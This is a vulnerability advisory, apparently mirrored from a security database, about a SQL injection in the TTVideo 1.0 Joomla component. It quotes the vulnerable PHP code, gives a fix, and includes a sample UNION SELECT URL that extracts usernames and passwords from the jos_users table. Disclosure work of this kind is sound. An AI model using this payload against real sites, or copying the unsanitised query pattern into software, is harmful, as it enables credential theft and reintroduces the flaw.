Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:24333
HistoryJul 28, 2010 - 12:00 a.m.

TTVideo 1.0 Joomla Component SQL Injection Vulnerability

2010-07-2800:00:00
vulners.com
26

TTVideo 1.0 Joomla Component SQL Injection Vulnerability

Name TTVideo
Vendor http://www.toughtomato.com
Versions Affected 1.0

Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-07-27

X. INDEX

I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX

I. ABOUT THE APPLICATION


TTVideo is a Joomla! component that makes use of the
popular video sharing site Vimeo to create a video
library.

II. DESCRIPTION


A parameter in ttvideo.php is not properly sanitised
before being used in a SQL query.

III. ANALYSIS


Summary:

A) SQL Injection

A) SQL Injection


The parameter cid passed to ttvideo.php when task is set
to video is not properly sanitised before being used in
a SQL query. This can be exploited to manipulate SQL
queries by injecting arbitrary SQL code. The following
is the vulnerable code:

ttvideoController.php (line 40):

function video() {
$cid = JRequest::getVar('cid', null, 'default');

ttvideo.php (line 188):

function getVideo($id) {
$db = $this->getDBO();
$db->setQuery("SELECT * from #__ttvideo WHERE id=$id");
$video = $db->loadObject();
if ($video === null)
JError::raiseError(500, 'Video with ID: '.$id.' not found.');
return $video;
}

IV. SAMPLE CODE


A) SQL Injection

http://site/path/index.php?option=com_ttvideo&task=video&cid=-1 UNION SELECT
1,2,3,4,5,6,7,8,CONCAT(username,0x3A,password),10,11,12,13,14,15,16,17 FROM jos_users

V. FIX


Use JRequest::getInt instead of JRequest::getVar